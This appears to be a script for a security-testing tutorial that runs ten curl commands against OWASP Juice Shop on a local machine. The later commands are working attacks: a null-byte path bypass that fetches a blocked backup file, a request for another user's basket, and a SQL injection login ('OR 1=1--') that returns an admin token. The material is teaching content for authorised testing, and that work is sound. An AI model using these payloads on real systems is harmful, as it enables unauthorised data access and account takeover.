The Exploit HQ

The 10 Commands · lesson 7 · 2026-10-08

The 10 curl Commands Every Security Tester Uses in 2026

Before you start

Every web app you have ever used will tell you things it should not, if you ask it the right way. No browser, no scanner, no special tools. Just curl, and ten commands that every security tester types on day one.

Today we run all ten for real, against O-WASP Juice Shop, a deliberately vulnerable web app running only on this machine. By the last command, we will log in as the administrator without knowing the password.

Number one. The plainest request there is.

1 — Just ask

curl http://127.0.0.1:3000/rest/admin/application-version
Part What it does
curl send one web request from the terminal
http://… the exact address to ask for

With no options at all, curl sends a simple request for a page and prints whatever comes back. Testers start here because apps often answer questions nobody thought to lock down.

Run it.

The exact software version, handed to a stranger with no login. An attacker’s very next step is to look up every known bug in that version.

Number two. That was the body. The headers often say even more.

2 — Headers only

curl -I http://127.0.0.1:3000
Part What it does
-I ask for the headers only, skip the page

Headers are the labels a server attaches to every reply. They reveal which security protections are switched on, how the app caches things, and sometimes notes the developers left for whoever looks.

Run it.

Look at X Recruiting. A developer left a hidden message in every single response. Harmless here, but it proves that headers are worth reading line by line.

Number three. When something does not behave, you need to see the whole conversation.

3 — Verbose mode

curl -v http://127.0.0.1:3000/…
Part What it does
-v verbose: show what was sent and received
> lines what curl sent
< lines what the server replied

Verbose mode prints both sides. Lines starting with an arrow pointing right are what curl sent. Lines pointing left are what the server sent back. This is how you debug every other command in this list.

Run it.

curl -v http://127.0.0.1:3000/rest/admin/application-version

Notice the user agent line. Every request curl sends announces itself as curl, and a well-run server’s logs will show it.

Number four. Sometimes the page you asked for is not the page you get.

4 — Follow redirects

curl -sIL http://127.0.0.1:3000/api-docs
Part What it does
-s silent: hide the progress meter
-I headers only
-L follow redirects to the final page

By default, curl stops at a redirect and shows you the detour sign instead of the destination. Dash L tells it to keep going, and combined with headers only, you see every hop along the way.

Run it.

curl -sIL http://127.0.0.1:3000/api-docs | grep -iE '^HTTP|^location'

A three oh one redirect, then a two hundred. And the page at the end is API documentation, a full map of the app’s back end, left open to the public.

Number five. Reading a file on screen is fine. Keeping a copy is evidence.

5 — Save to a file

curl -s -o acquisitions.md http://…/ftp/acquisitions.md
Part What it does
-o name save the reply to a file with this name
/ftp/ a public file folder this app exposes

Dash o writes the response straight to a file instead of the screen. This app has a public folder called f t p, and one file in it has a very interesting name.

Run it, then read the first lines.

curl -s -o acquisitions.md http://127.0.0.1:3000/ftp/acquisitions.md && head -n 6 acquisitions.md

Confidential, do not distribute. Planned company acquisitions, sitting in a folder anyone on the internet can download from.

Number six. Not every file in that folder gives up so easily.

6 — Print the status code

curl -s -o /dev/null -w "%{http_code}\n" …
Part What it does
-o /dev/null throw the body away
-w print a value after the request
%{http_code} the status code: 200, 403, 404…

Dash w lets you print just the facts you care about. Here we throw the page away and print only the status code, which is how testers check hundreds of addresses quickly.

Run it against a backup file in the same folder.

curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:3000/ftp/package.json.bak

Four oh three, forbidden. The server only allows files ending in dot m d or dot p d f. So the backup is blocked. Or is it?

Number seven. The filter checks the name. So we change what the name looks like.

7 — Encode the path

curl -s http://…/ftp/package.json.bak%2500.md
Part What it does
%25 an encoded percent sign
%2500 decodes to %00, a null byte
.md what the filter sees at the end

Curl sends the address exactly as you type it. The filter sees a name ending in dot m d and lets it through. But that encoded null byte tells the server the real filename ended right before it. This is a classic filter bypass.

Run it.

curl -s "http://127.0.0.1:3000/ftp/package.json.bak%2500.md" | head -n 4

The forbidden backup file, delivered. One check, defeated by one encoded character. Filters that look at names instead of real files fail exactly like this.

Number eight. Everything so far was anonymous. Now we log in, and look where we should not.

8 — Send a header

curl -H "Authorization: Bearer $(cat token.txt)" …/rest/basket/1
Part What it does
-H add your own header to the request
Bearer … our login token, proving who we are
/basket/1 a basket that belongs to someone else

Dash H adds any header you like. Here it carries the login token for our own ordinary account. Our basket is number six. We are going to ask for basket number one instead.

Run it.

curl -s -H "Authorization: Bearer $(cat token.txt)" http://127.0.0.1:3000/rest/basket/1 | jq -c '{basket: .data.id, owner: .data.UserId, items: [.data.Products[].name]}'

Another customer’s basket, item by item. The app checked that we were logged in, but never checked that the basket was ours. That is broken access control, number one on the O-WASP Top Ten.

Number nine. Sending data, the way a login form does.

9 — Post data

curl -H "Content-Type: application/json" -d '{…}' …/login
Part What it does
-d send data in the body, as a POST
Content-Type tell the server the data is JSON
email, password the two fields of the login form

Dash d turns the request into a POST and sends whatever you give it, exactly like pressing submit on a form. We try the administrator’s email with a guessed password.

Run it.

curl -s -H "Content-Type: application/json" -d '{"email":"admin@juice-sh.op","password":"guess"}' http://127.0.0.1:3000/rest/user/login

Invalid email or password. Good, the login works the way it should. With normal input, anyway.

Number ten. Same command, same login. One change to the email field.

10 — Inject through -d

curl … -d "{\"email\":\"' OR 1=1--\", …}" …/login
Part What it does
' breaks out of the database query
OR 1=1 a condition that is always true
-- ignore the rest, including the password

This app glues our email straight into a database query. The quote closes the email early. OR one equals one makes the condition always true. And the two dashes tell the database to ignore everything after, including the password check. That is SQL injection.

Run it, and ask which account we got.

curl -s -H "Content-Type: application/json" -d "{\"email\":\"' OR 1=1--\",\"password\":\"x\"}" http://127.0.0.1:3000/rest/user/login | jq -r .authentication.umail

Logged in as admin, with a password of x. The app handed over a real administrator token. One quote character in a form field, and the whole store belongs to us.

So that is the full set, and look at how far ten commands went.

What ten curl commands found

We started by just asking politely and got a software version. Headers, redirects and saved files exposed more. One encoded character beat a file filter, one header reached someone else’s data, and one quote made us administrator. Every one of those was plain curl.

And the rule that outranks every command here.

Before you go

Everything today ran against a deliberately vulnerable app on this machine only. Only ever point these commands at systems you own or have written permission to test. If you build web apps, run all ten against your own before someone else does.

If you want each of these flaws explained from zero, our free web application security course is linked below. Subscribe so you do not miss the next ten. Thanks for learning with The Exploit HQ.